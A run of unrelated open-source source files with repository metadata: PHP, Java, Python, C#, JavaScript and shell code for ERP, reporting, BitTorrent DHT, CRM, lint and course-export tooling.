delete this location?', 'error' => 'There was an issue deleting the location. Please try again.', 'success' => 'The location was deleted successfully.' ) );
mtucker6784/snipe-it
resources/lang/is/admin/locations/message.php
PHP
agpl-3.0
1,217
<?php /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */ /** * This file is part of Onlogistics, a web based ERP and supply chain * management application. * * Copyright (C) 2003-2008 ATEOR * * This program is free software: you can redistribute it and/or modify it * under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public * License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * PHP version 5.1.0+ * * @package Onlogistics * @author ATEOR dev team <dev@ateor.com> * @copyright 2003-2008 ATEOR <contact@ateor.com> * @license http://www.fsf.org/licensing/licenses/agpl-3.0.html GNU AGPL * @version SVN: $Id$ * @link http://www.onlogistics.org * @link http://onlogistics.googlecode.com * @since File available since release 0.1.0 * @filesource */ class AeroOperator extends AeroActor { // Constructeur {{{ /** * AeroOperator::__construct() * Constructeur * * @access public * @return void */ public function __construct() { parent::__construct(); } // }}} // getTableName() {{{ /** * Retourne le nom de la table sql correspondante * * @static * @access public * @return string */ public static function getTableName() { return 'Actor'; } // }}} // getObjectLabel() {{{ /** * Retourne le "label" de la classe. * * @static * @access public * @return string */ public static function getObjectLabel() { return _('None'); } // }}} // getProperties() {{{ /** * Retourne le tableau des propriétés. * Voir Object pour documentation. * * @static * @access public * @return array * @see Object.php */ public static function getProperties($ownOnly = false) { $return = array(); return $ownOnly?$return:array_merge(parent::getProperties(), $return); } // }}} // getLinks() {{{ /** * Retourne le tableau des entités liées. * Voir Object pour documentation. * * @static * @access public * @return array * @see Object.php */ public static function getLinks($ownOnly = false) { $return = array(); return $ownOnly?$return:array_merge(parent::getLinks(), $return); } // }}} // getUniqueProperties() {{{ /** * Retourne le tableau des propriétés qui ne peuvent prendre la même valeur * pour 2 occurrences. * * @static * @access public * @return array */ public static function getUniqueProperties() { $return = array(); return array_merge(parent::getUniqueProperties(), $return); } // }}} // getEmptyForDeleteProperties() {{{ /** * Retourne le tableau des propriétés doivent être "vides" (0 ou '') pour * qu'une occurrence puisse être supprimée en base de données. * * @static * @access public * @return array */ public static function getEmptyForDeleteProperties() { $return = array(); return array_merge(parent::getEmptyForDeleteProperties(), $return); } // }}} // getFeatures() {{{ /** * Retourne le tableau des "fonctionalités" pour l'objet en cours. * Voir Object pour documentation. * * @static * @access public * @return array * @see Object.php */ public static function getFeatures() { return array(); } // }}} // getMapping() {{{ /** * Retourne le mapping nécessaires aux composants génériques. * Voir Object pour documentation. * * @static * @access public * @return array * @see Object.php */ public static function getMapping($ownOnly = false) { $return = array(); return $ownOnly?$return:array_merge(parent::getMapping(), $return); } // }}} // useInheritance() {{{ /** * Détermine si l'entité est une entité qui utilise l'héritage. * (classe parente ou classe fille). Ceci afin de differencier les entités * dans le mapper car classes filles et parentes sont mappées dans la même * table. * * @static * @access public * @return bool */ public static function useInheritance() { return true; } // }}} // getParentClassName() {{{ /** * Retourne le nom de la première classe parente * * @static * @access public * @return string */ public static function getParentClassName() { return 'AeroActor'; } // }}} } ?>
contactkarthikc/onlogistics
lib/Objects/AeroOperator.php
PHP
agpl-3.0
5,119
/* * iReport - Visual Designer for JasperReports. * Copyright (C) 2002 - 2009 Jaspersoft Corporation. All rights reserved. * http://www.jaspersoft.com * * Unless you have purchased a commercial license agreement from Jaspersoft, * the following license terms apply: * * This program is part of iReport. * * iReport is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * iReport is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with iReport. If not, see <http://www.gnu.org/licenses/>. */ package com.jaspersoft.ireport.designer.sheet.properties.charts; import com.jaspersoft.ireport.designer.sheet.properties.ExpressionProperty; import com.jaspersoft.ireport.locale.I18n; import net.sf.jasperreports.charts.design.JRDesignScatterPlot; import net.sf.jasperreports.engine.design.JRDesignDataset; import net.sf.jasperreports.engine.design.JRDesignExpression; /** * Class to manage the JRDesignBarPlot.PROPERTY_VALUE_AXIS_LABEL_EXPRESSION property */ public final class ScatterRangeAxisMaxValueExpressionProperty extends ExpressionProperty { private final JRDesignScatterPlot plot; public ScatterRangeAxisMaxValueExpressionProperty(JRDesignScatterPlot plot, JRDesignDataset dataset) { super(plot, dataset); this.plot = plot; } @Override public String getName() { return JRDesignScatterPlot.PROPERTY_RANGE_AXIS_MAXVALUE_EXPRESSION; } @Override public String getDisplayName() { return I18n.getString("Global.Property.RangeAxisMaxValueExpression"); } @Override public String getShortDescription() { return I18n.getString("Global.Property.RangeAxisMaxValueExpression"); } @Override public String getDefaultExpressionClassName() { return Comparable.class.getName(); } @Override public JRDesignExpression getExpression() { return (JRDesignExpression)plot.getRangeAxisMaxValueExpression(); } @Override public void setExpression(JRDesignExpression expression) { plot.setRangeAxisMaxValueExpression(expression); } }
klebergraciasoares/ireport-fork
ireport-designer/src/com/jaspersoft/ireport/designer/sheet/properties/charts/ScatterRangeAxisMaxValueExpressionProperty.java
Java
agpl-3.0
2,582
#!/bin/bash mkdir -p exports getexport () { COURSE=$1 OUTFILE=exports/$1_`date "+%Y-%m-%dT%H:%M:%S"`.csv URL="https://prairielearn.engr.illinois.edu:/backend/$COURSE/export.csv" HEADERS=`node print_signature.js --headers mwest@illinois.edu "Matthew West" ~/git/ansible-pl/config-$COURSE-backend.json` CMD="curl -o $OUTFILE $HEADERS $URL" echo $COURSE eval "$CMD" } getexport tam212fa2015 getexport tam251fa2015 getexport tam210fa2015
lotrfan/PrairieLearn
v1/backend/export_commands.sh
Shell
agpl-3.0
465
# -*- encoding: utf-8 -*- ############################################################################### # # OpenERP, Open Source Management Solution # Copyright (C) 2013 Savoir-faire Linux (<http://www.savoirfairelinux.com>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################### import tools from openerp.osv import fields, orm class hr_language(orm.Model): _name = 'hr.language' _columns = { 'name': fields.selection(tools.scan_languages(), 'Language', required=True), 'description': fields.char('Description', size=64, required=True, translate=True), 'employee_id': fields.many2one('hr.employee', 'Employee', required=True), 'read': fields.boolean('Read'), 'write': fields.boolean('Write'), 'speak': fields.boolean('Speak'), } _defaults = { 'read': True, 'write': True, 'speak': True, } class hr_employee(orm.Model): _inherit = 'hr.employee' _columns = { 'language_ids': fields.one2many('hr.language', 'employee_id', 'Languages'), } # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
bwrsandman/openerp-hr
hr_language/hr_language.py
Python
agpl-3.0
1,839
#if !DISABLE_DHT // // FindNode.cs // // Authors: // Alan McGovern <alan.mcgovern@gmail.com> // // Copyright (C) 2008 Alan McGovern // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // using System; using System.Collections.Generic; using System.Text; using MonoTorrent.BEncoding; using System.Net; namespace MonoTorrent.Dht.Messages { class FindNode : QueryMessage { private static BEncodedString TargetKey = "target"; private static BEncodedString QueryName = "find_node"; private static ResponseCreator responseCreator = delegate(BEncodedDictionary d, QueryMessage m) { return new FindNodeResponse(d, m); }; public NodeId Target { get { return new NodeId((BEncodedString)Parameters[TargetKey]); } } public FindNode(NodeId id, NodeId target) : base(id, QueryName, responseCreator) { Parameters.Add(TargetKey, target.BencodedString()); } public FindNode(BEncodedDictionary d) :base(d, responseCreator) { } public override void Handle(DhtEngine engine, Node node) { base.Handle(engine, node); FindNodeResponse response = new FindNodeResponse(engine.RoutingTable.LocalNode.Id, TransactionId); Node targetNode = engine.RoutingTable.FindNode(Target); if (targetNode != null) response.Nodes = targetNode.CompactNode(); else response.Nodes = Node.CompactNode(engine.RoutingTable.GetClosest(Target)); engine.MessageLoop.EnqueueSend(response, node.EndPoint); } } } #endif
senditu/simpletorrent
monotorrent/src/MonoTorrent.Dht/Messages/Queries/FindNode.cs
C#
agpl-3.0
2,719
<?php /** * Class following Singleton pattern for specific extension configuration * * @author Jan-Derek (CiviCooP) <j.vos@bosqom.nl> */ class CRM_Lidmaatschapwijziging_ConfigRelationship { /* * singleton pattern */ static private $_singleton = NULL; // Contact protected $contact_id = 0; protected $contact = array(); // Relationship // Relationship Type Employer //protected $relationshipTypeEmployerOfName = array('name_a_b' => 'Employee of', 'name_b_a' => 'Employer of', 'contact_type_a' => 'Individual', 'contact_type_b' => 'Organization'); //protected $relationshipTypeEmployerOf = array(); //protected $relationshipTypeEmployerOfId = 0; // Relationship Current Employer //protected $relationshipCurrentEmployer = array(); //protected $relationshipCurrentEmployerId = 0; // Relationships protected $relationship = array(); protected $relationshipTypes = array(); // Relationship Last protected $relationshipLast = array(); protected $relationshipLastId = 0; // Contact a en b protected $contact_id_a = 0; protected $contact_a = array(); protected $contact_id_b = 0; protected $contact_b = array(); /** * Constructor */ function __construct($contact_id) { // Contact $configContact = CRM_Lidmaatschapwijziging_ConfigContact::singleton($contact_id); $this->contact = $configContact->getContact(); $this->contact_id = $contact_id; // Relationship Type //$this->setRelationshipTypeEmployerOf(); // Relationship Current Employer //$this->setRelationshipCurrentEmployer(); // Relationships $this->setRelationships(); $this->setrelatiosnhipTypes(); // Relationship last, Contact a en b //$this->setRelationshipLast(); // Contact a en b //$this->setContactA(); //$this->setContactB(); } /** * Function to return singleton object * * @return object $_singleton * @access public * @static */ public static function &singleton($contact_id) { if (self::$_singleton === NULL) { self::$_singleton = new CRM_Lidmaatschapwijziging_ConfigRelationship($contact_id); } return self::$_singleton; } // Contact public function getContact() { return $this->contact; } // Relationship Type /*protected function setRelationshipTypeEmployerOf(){ try { $params = array( 'version' => 3, 'sequential' => 1, 'name_a_b' => $this->relationshipTypeEmployerOfName['name_a_b'], 'name_b_a' => $this->relationshipTypeEmployerOfName['name_b_a'], 'contact_type_a' => $this->relationshipTypeEmployerOfName['contact_type_a'], 'contact_type_b' => $this->relationshipTypeEmployerOfName['contact_type_b'], ); $this->relationshipTypeEmployerOf = civicrm_api('RelationshipType', 'getsingle', $params); $this->relationshipTypeEmployerOfId = $this->relationshipTypeEmployerOf['id']; } catch (CiviCRM_API3_Exception $ex) { throw new Exception('Could not find relationshiptype employer of, ' . 'error from API RelationshipType getsingle: '.$ex->getMessage()); } } public function getRelationshipTypeEmployerOf(){ return $this->relationshipTypeEmployerOf; } public function getRelationshipTypeEmployerOfId(){ return $this->relationshipTypeEmployerOfId; }*/ // Relationship Current Employer /*protected function setRelationshipCurrentEmployer(){ try { $params = array( 'version' => 3, 'sequential' => 1, 'contact_id_a' => $this->contact_id, 'relationship_type_id' => $this->relationshipTypeEmployerOfId, 'is_active' => 1, ); $this->relationshipCurrentEmployer = civicrm_api('Relationship', 'getsingle', $params); $this->relationshipCurrentEmployerId = $this->relationshipCurrentEmployer['id']; } catch (CiviCRM_API3_Exception $ex) { throw new Exception('Could not find relationship current employer, ' . 'error from API Relationship getsingle: '.$ex->getMessage()); } } public function getRelationshipCurrentEmployer(){ return $this->relationshipCurrentEmployer; } public function getRelationshipCurrentEmployerId(){ return $this->relationshipCurrentEmployerId; }*/ // Relationships protected function setRelationships(){ try { $params = array( 'version' => 3, 'sequential' => 1, 'contact_id_a' => $this->contact_id, 'sort' => 'is_active DESC, start_date ASC', //'is_active' => 1, // we want, if there is no active relationship also the in active ); $result = civicrm_api('Relationship', 'get', $params); foreach ($result['values'] as $key => $relationship){ $this->relationships[$relationship['id']] = $relationship; $this->relationships[$relationship['id']]['contact_a'] = array(); // contact a try { $params = array( 'version' => 3, 'sequential' => 1, 'contact_id' => $relationship['contact_id_a'], ); $this->relationships[$relationship['id']]['contact_a'] = civicrm_api('Contact', 'getsingle', $params); } catch (CiviCRM_API3_Exception $ex) { throw new Exception('Could not find contact a in relationships, ' . 'error from API Contact getsingle: '.$ex->getMessage()); } $this->relationships[$relationship['id']]['contact_b'] = array(); // contact b try { $params = array( 'version' => 3, 'sequential' => 1, 'contact_id' => $relationship['contact_id_b'], ); $this->relationships[$relationship['id']]['contact_b'] = civicrm_api('Contact', 'getsingle', $params); } catch (CiviCRM_API3_Exception $ex) { throw new Exception('Could not find contact b in relationships, ' . 'error from API Contact getsingle: '.$ex->getMessage()); } // note $this->relationships[$relationship['id']]['notes'] = array(); try { $params = array( 'version' => 3, 'sequential' => 1, 'entity_id' => $relationship['id'], 'entity_table' => 'civicrm_relationship', 'contact_id' => $this->contact_id, 'options' => array('limit' => 1), ); $result = civicrm_api('Note', 'getsingle', $params); if(!isset($result['is_error']) or !$result['is_error']){ // if there is no error $this->relationships[$relationship['id']]['notes'] = $result; } } catch (CiviCRM_API3_Exception $ex) { throw new Exception('Could not find note in relationships, ' . 'error from API Note getsingle: '.$ex->getMessage()); } } } catch (CiviCRM_API3_Exception $ex) { throw new Exception('Could not find relationship, ' . 'error from API Relationship get: '.$ex->getMessage()); } } public function getRelationships(){ return $this->relationships; } public function getRelationship($relationship_id){ return $this->relationships[$relationship_id]; } protected function setRelatiosnhipTypes(){ try { $params = array( 'version' => 3, 'sequential' => 1, 'is_active' => 1, 'contact_type_a' => 'Individual', 'contact_type_b' => 'Organization', //'contact_type_b!' => 'Household', // no households 'sort' => 'label_a_b ASC', ); $result = civicrm_api('RelationshipType', 'get', $params); foreach ($result['values'] as $key => $relationshiptype){ $this->relationshipTypes[$relationshiptype['id']] = $relationshiptype; } } catch (CiviCRM_API3_Exception $ex) { throw new Exception('Could not find relationships, ' . 'error from API Relationship getsingle: '.$ex->getMessage()); } } public function getRelatiosnhipTypes(){ return $this->relationshipTypes; } public function getRelationshipTypeById($relationship_type_id){ return $this->relationshipTypes[$relationship_type_id]; } /** * This function returns only the relationships that have * the same contact_type_b as the contact and contact sub type * * @param type $contact_type_b * @return type */ public function getRelationshipTypeContactTypeB($contact_type_b, $contact_sub_type_b){ $array = array(); foreach($this->relationshipTypes as $id => $relationship_type){ if($contact_type_b == $relationship_type['contact_type_b']){ if($contact_sub_type_b == $relationship_type['contact_sub_type_b']){ $array[$relationship_type['id']] = $relationship_type; } } } return $array; } // Relationship last, Contact id a en b /*protected function setRelationshipLast(){ $relationshipLast = array(); // there is just one relationship if(count($this->relationship) == 1){ $relationshipLast = $this->relationship[0]; }else { // get the last active one foreach($this->relationship as $key => $relationship){ if($relationship['is_active'] == '1'){ $relationshipLast = $relationship; } } } // if there is still no relationship get the last one if(empty($relationshipLast)){ foreach($this->relationship as $key => $relationship){ $relationshipLast = $relationship; } } // set the relationship last id, if exists if(isset($relationshipLast['id']) and !empty($relationshipLast['id'])){ $this->relationshipLastId = $relationshipLast['id']; } // set contact id a if(isset($relationshipLast['contact_id_a']) and !empty($relationshipLast['contact_id_a'])){ $this->contact_id_a = $relationshipLast['contact_id_a']; } // set contact id b if(isset($relationshipLast['contact_id_b']) and !empty($relationshipLast['contact_id_b'])){ $this->contact_id_b = $relationshipLast['contact_id_b']; } $this->relationshipLast = $relationshipLast; } public function getRelationshipLast(){ return $this->relationshipLast; } public function getRelationshipLastId(){ return $this->relationshipLastId; }*/ // Contact id a en b /*public function getContactIdA() { return $this->contact_id_a; } public function getContactIdB() { return $this->contact_id_b; } // Contact a protected function setContactA(){ try { $params = array( 'version' => 3, 'sequential' => 1, 'contact_id' => $this->contact_id_a, ); $this->contact_a = civicrm_api('Contact', 'getsingle', $params); } catch (CiviCRM_API3_Exception $ex) { throw new Exception('Could not find contact a, ' . 'error from API Contact getsingle: '.$ex->getMessage()); } } public function getContactA(){ return $this->contact_a; } // Contact b protected function setContactB(){ try { $params = array( 'version' => 3, 'sequential' => 1, 'contact_id' => $this->contact_id_b, ); $this->contact_b = civicrm_api('Contact', 'getsingle', $params); } catch (CiviCRM_API3_Exception $ex) { throw new Exception('Could not find contact b, ' . 'error from API Contact getsingle: '.$ex->getMessage()); } } public function getContactB(){ return $this->contact_b; }*/ }
jvos/nl.vnv.lidmaatschapwijziging_old
CRM/Lidmaatschapwijziging/ConfigRelationship.php
PHP
agpl-3.0
12,092
/** * Copyright (C) 2001-2015 by RapidMiner and the contributors * * Complete list of developers available at our web site: * * http://rapidminer.com * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see http://www.gnu.org/licenses/. */ package com.rapidminer.operator.visualization; import com.rapidminer.example.Attributes; import com.rapidminer.example.ExampleSet; import com.rapidminer.operator.Model; import com.rapidminer.operator.Operator; import com.rapidminer.operator.OperatorDescription; import com.rapidminer.operator.OperatorException; import com.rapidminer.operator.ProcessSetupError.Severity; import com.rapidminer.operator.UserError; import com.rapidminer.operator.learner.PredictionModel; import com.rapidminer.operator.performance.PerformanceEvaluator; import com.rapidminer.operator.ports.InputPort; import com.rapidminer.operator.ports.OutputPort; import com.rapidminer.operator.ports.metadata.ExampleSetMetaData; import com.rapidminer.operator.ports.metadata.ExampleSetPrecondition; import com.rapidminer.operator.ports.metadata.MetaData; import com.rapidminer.operator.ports.metadata.MetaDataInfo; import com.rapidminer.operator.ports.metadata.SimplePrecondition; import com.rapidminer.parameter.ParameterType; import com.rapidminer.parameter.ParameterTypeBoolean; import com.rapidminer.parameter.UndefinedParameterError; import com.rapidminer.tools.Ontology; import com.rapidminer.tools.math.ROCBias; import com.rapidminer.tools.math.ROCData; import com.rapidminer.tools.math.ROCDataGenerator; import java.util.List; /** * This operator creates a ROC chart for the given example set and model. The model will be applied * on the example set and a ROC chart will be produced afterwards. If you are interested in finding * an optimal threshold, the operator {@link com.rapidminer.operator.postprocessing.ThresholdFinder} * should be used. If you are interested in the performance criterion Area-Under-Curve (AUC) the * usual {@link PerformanceEvaluator} can be used. This operator just presents a ROC plot for a * given model and data set. * * Please note that a predicted label of the given example set will be removed during the * application of this operator. * * @author Ingo Mierswa * */ public class ROCChartGenerator extends Operator { public static final String PARAMETER_USE_EXAMPLE_WEIGHTS = "use_example_weights"; public static final String PARAMETER_USE_MODEL = "use_model"; private InputPort exampleSetInput = getInputPorts().createPort("example set"); private InputPort modelInput = getInputPorts().createPort("model"); private OutputPort exampleSetOutput = getOutputPorts().createPort("example set"); private OutputPort modelOutput = getOutputPorts().createPort("model"); public ROCChartGenerator(OperatorDescription description) { super(description); exampleSetInput .addPrecondition(new ExampleSetPrecondition(exampleSetInput, Attributes.LABEL_NAME, Ontology.NOMINAL) { @Override public void makeAdditionalChecks(ExampleSetMetaData emd) throws UndefinedParameterError { MetaDataInfo contained = emd.containsSpecialAttribute(Attributes.PREDICTION_NAME); if (!getParameterAsBoolean(PARAMETER_USE_MODEL) && (contained != MetaDataInfo.YES)) { if (contained == MetaDataInfo.NO) { createError(Severity.ERROR, "exampleset.needs_prediction"); } else { createError(Severity.WARNING, "exampleset.needs_prediction"); } } } }); modelInput.addPrecondition(new SimplePrecondition(modelInput, new MetaData(Model.class)) { @Override protected boolean isMandatory() { return getParameterAsBoolean(PARAMETER_USE_MODEL); } }); getTransformer().addPassThroughRule(exampleSetInput, exampleSetOutput); getTransformer().addPassThroughRule(modelInput, modelOutput); } @Override public void doWork() throws OperatorException { ExampleSet exampleSet = exampleSetInput.getData(ExampleSet.class); if (exampleSet.getAttributes().getLabel() == null) { throw new UserError(this, 105); } if (!exampleSet.getAttributes().getLabel().isNominal()) { throw new UserError(this, 101, "ROC Charts", exampleSet.getAttributes().getLabel()); } if (exampleSet.getAttributes().getLabel().getMapping().getValues().size() != 2) { throw new UserError(this, 114, "ROC Charts", exampleSet.getAttributes().getLabel()); } if (exampleSet.getAttributes().getPredictedLabel() != null && getParameterAsBoolean(PARAMETER_USE_MODEL)) { getLogger().warning("Input example already has a predicted label which will be removed."); PredictionModel.removePredictedLabel(exampleSet); } if (exampleSet.getAttributes().getPredictedLabel() == null && !getParameterAsBoolean(PARAMETER_USE_MODEL)) { throw new UserError(this, 107); } Model model = null; if (getParameterAsBoolean(PARAMETER_USE_MODEL)) { model = modelInput.getData(Model.class); exampleSet = model.apply(exampleSet); } if (exampleSet.getAttributes().getPredictedLabel() == null) { throw new UserError(this, 107); } ROCDataGenerator rocDataGenerator = new ROCDataGenerator(1.0d, 1.0d); ROCData rocPoints = rocDataGenerator.createROCData(exampleSet, getParameterAsBoolean(PARAMETER_USE_EXAMPLE_WEIGHTS), ROCBias.getROCBiasParameter(this)); rocDataGenerator.createROCPlotDialog(rocPoints); PredictionModel.removePredictedLabel(exampleSet); modelOutput.deliver(model); exampleSetOutput.deliver(exampleSet); } @Override public List<ParameterType> getParameterTypes() { List<ParameterType> types = super.getParameterTypes(); types.add(new ParameterTypeBoolean( PARAMETER_USE_EXAMPLE_WEIGHTS, "Indicates if example weights should be used for calculations (use 1 as weights for each example otherwise).", true)); types.add(new ParameterTypeBoolean( PARAMETER_USE_MODEL, "If checked a given model will be applied for generating ROCChart. If not the examples set must have a predicted label.", true)); types.add(ROCBias.makeParameterType()); return types; } }
brtonnies/rapidminer-studio
src/main/java/com/rapidminer/operator/visualization/ROCChartGenerator.java
Java
agpl-3.0
6,797
<?php /** * This a simple example lint engine which just applies the * @{class:ArcanistPyLintLinter} to any Python files. For a more complex * example, see @{class:PhutilLintEngine}. * * @group linter */ final class InboxServerLintEngine extends ArcanistLintEngine { public function buildLinters() { // This is a list of paths which the user wants to lint. Either they // provided them explicitly, or arc figured them out from a commit or set // of changes. The engine needs to return a list of ArcanistLinter objects, // representing the linters which should be run on these files. $paths = $this->getPaths(); //echo('Foobar'); // $paths = ['./src/inbox']; // The ArcanistPyLintLinter runs "PyLint" (an open source python linter) on // files you give it. There are several linters available by default like // this one which you can use out of the box, or you can write your own. // Linters are responsible for actually analyzing the contents of a file // and raising warnings and errors. $flake8_linter = new ArcanistFlake8Linter(); $pylint_linter = new MGArcanistPyLintLinter(); // Remove any paths that don't exist before we add paths to linters. We want // to do this for linters that operate on file contents because the // generated list of paths will include deleted paths when a file is // removed. foreach ($paths as $key => $path) { if (!$this->pathExists($path)) { unset($paths[$key]); } } foreach ($paths as $path) { if (!preg_match('/\.py$/', $path)) { // This isn't a python file, so don't try to apply the PyLint linter // to it. continue; } if (preg_match('@^externals/@', $path)) { // This is just an example of how to exclude a path so it doesn't get // linted. If you put third-party code in an externals/ directory, you // can just have your lint engine ignore it. continue; } // Add the path, to tell the linter it should examine the source code // to try to find problems. $pylint_linter->addPath($path); $flake8_linter->addPath($path); } // We only built one linter, but you can build more than one (e.g., a // Javascript linter for JS), and return a list of linters to execute. You // can also add a path to more than one linter (for example, if you want // to run a Python linter and a more general text linter on every .py file). return array( $flake8_linter, $pylint_linter, ); } }
nylas/sync-engine
arclib/src/InboxServerLintEngine.php
PHP
agpl-3.0
2,579
/** * Require frontend modules. * * Note: Do not use to require backend modules, as they should be CommonJS * modules and not AMD modules. */ var ERR = require('async-stacktrace'); var _ = require('lodash'); var async = require('async'); var requirejs = require('requirejs'); var logger = require('./logger'); requirejs.config({ nodeRequire: require, baseUrl: './public/localscripts/calculationQuestion', }); requirejs.onError = function(err) { var data = { errorMsg: err.toString(), stack: err.stack, }; for (var e in err) { if (err.hasOwnProperty(e)) { data[e] = String(err[e]); } } logger.error('requirejs load error', data); }; requirejs.undefQuestionServers = function(coursePath, logger, callback) { // Only try and undefine modules that are already defined, as listed in: // requireFrontend.s.contexts._.defined // This is necessary because of incomplete questions (in particular, those with info.json but no server.js). logger.verbose('Unloading cached copies of server.js files in ' + coursePath + ' ...'); var count = 0; async.each(_.keys(requirejs.s.contexts._.defined), function(modPath, callback) { if (_.startsWith(modPath, coursePath)) { count++; requirejs.undef(modPath); } callback(null); }, function(err) { if (ERR(err, callback)) return; logger.verbose('Successfully unloaded ' + count + ' cached files'); callback(null); }); }; module.exports = requirejs;
parasgithub/PrairieLearn
lib/require-frontend.js
JavaScript
agpl-3.0
1,566
<?php require_once('custom/include/utils/DevToolKit.php'); class DynamicPanel extends DevToolKit { public function __construct(&$view) { $this->metadata_name = 'toggle_panel_fields'; $this->event_function = 'togglePanel'; parent::__construct($view); } public function display() { parent::display(); } protected function display_detail() { $panels = array_keys($this->view->dv->defs['panels']); $invisible_panels = array(); foreach($this->metadata as $field => $field_defs) { if($this->bean->$field != '' && isset($field_defs[$this->bean->$field])) { foreach($field_defs[$this->bean->$field] as $panel => $visible) { if($visible == 0 && $panel != 'default') { $invisible_panels[] = strtolower($panel); } } } } foreach($panels as $panel) { if(in_array(strtolower($panel), $invisible_panels)) { unset($this->view->dv->defs['panels'][$panel]); } } } protected function process_edit($prefix = '', $focus = '') { parent::process_edit($prefix, $focus); $this->process_metadata(); $this->javascript[] = '<script type="text/javascript" src="custom/include/javascript/DynamicPanel.js"></script>'; $this->javascript[] = '<script>var panelFieldsDefs = ' . json_encode($this->metadata) . ';</script>'; $this->load_process_javascript($focus); } protected function process_detail($prefix = '', $focus = '') { parent::process_detail($prefix, $focus); $this->process_metadata(); } private function process_metadata() { global $app_list_strings; $panel_list = array(); foreach($this->metadata as $field => $field_defs) { foreach($field_defs as $value => $panel_defs) { $panel_list = array_merge($panel_list, array_keys($panel_defs)); } } foreach($this->metadata as $field => $field_defs) { foreach($field_defs as $value => $panel_defs) { foreach($panel_list as $panel) { if(! isset($this->metadata[$field][$value][$panel])) { $this->metadata[$field][$value][$panel] = 0; } } } } foreach($this->metadata as $field => $field_defs) { $this->display_script.= "<script>togglePanel(document.getElementById('$field'));</script>"; $dropdown = ''; if($this->bean->field_defs[$field]['type'] == 'enum') { $dropdown = $this->bean->field_defs[$field]['options']; } else { $dropdown = 'dom_int_bool'; } foreach($app_list_strings[$dropdown] as $dd_key => $dd_value) { if(! isset($this->metadata[$field][$dd_key])) { foreach($panel_list as $panel) { $this->metadata[$field][$dd_key][$panel] = 0; } } } } } } ?>
ExpandeNegocio/crm
custom/include/utils/DevToolKit/DynamicPanel.php
PHP
agpl-3.0
2,591
#!/usr/bin/python # -*- coding: utf-8 -*- ## # distributions.py: module for probability distributions. ## # © 2017, Chris Ferrie (csferrie@gmail.com) and # Christopher Granade (cgranade@cgranade.com). # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. ## ## IMPORTS ################################################################### from __future__ import division from __future__ import absolute_import from builtins import range from future.utils import with_metaclass import numpy as np import scipy.stats as st import scipy.linalg as la from scipy.interpolate import interp1d from scipy.integrate import cumtrapz from scipy.spatial import ConvexHull, Delaunay from functools import partial import abc from qinfer import utils as u from qinfer.metrics import rescaled_distance_mtx from qinfer.clustering import particle_clusters from qinfer._exceptions import ApproximationWarning import warnings ## EXPORTS ################################################################### __all__ = [ 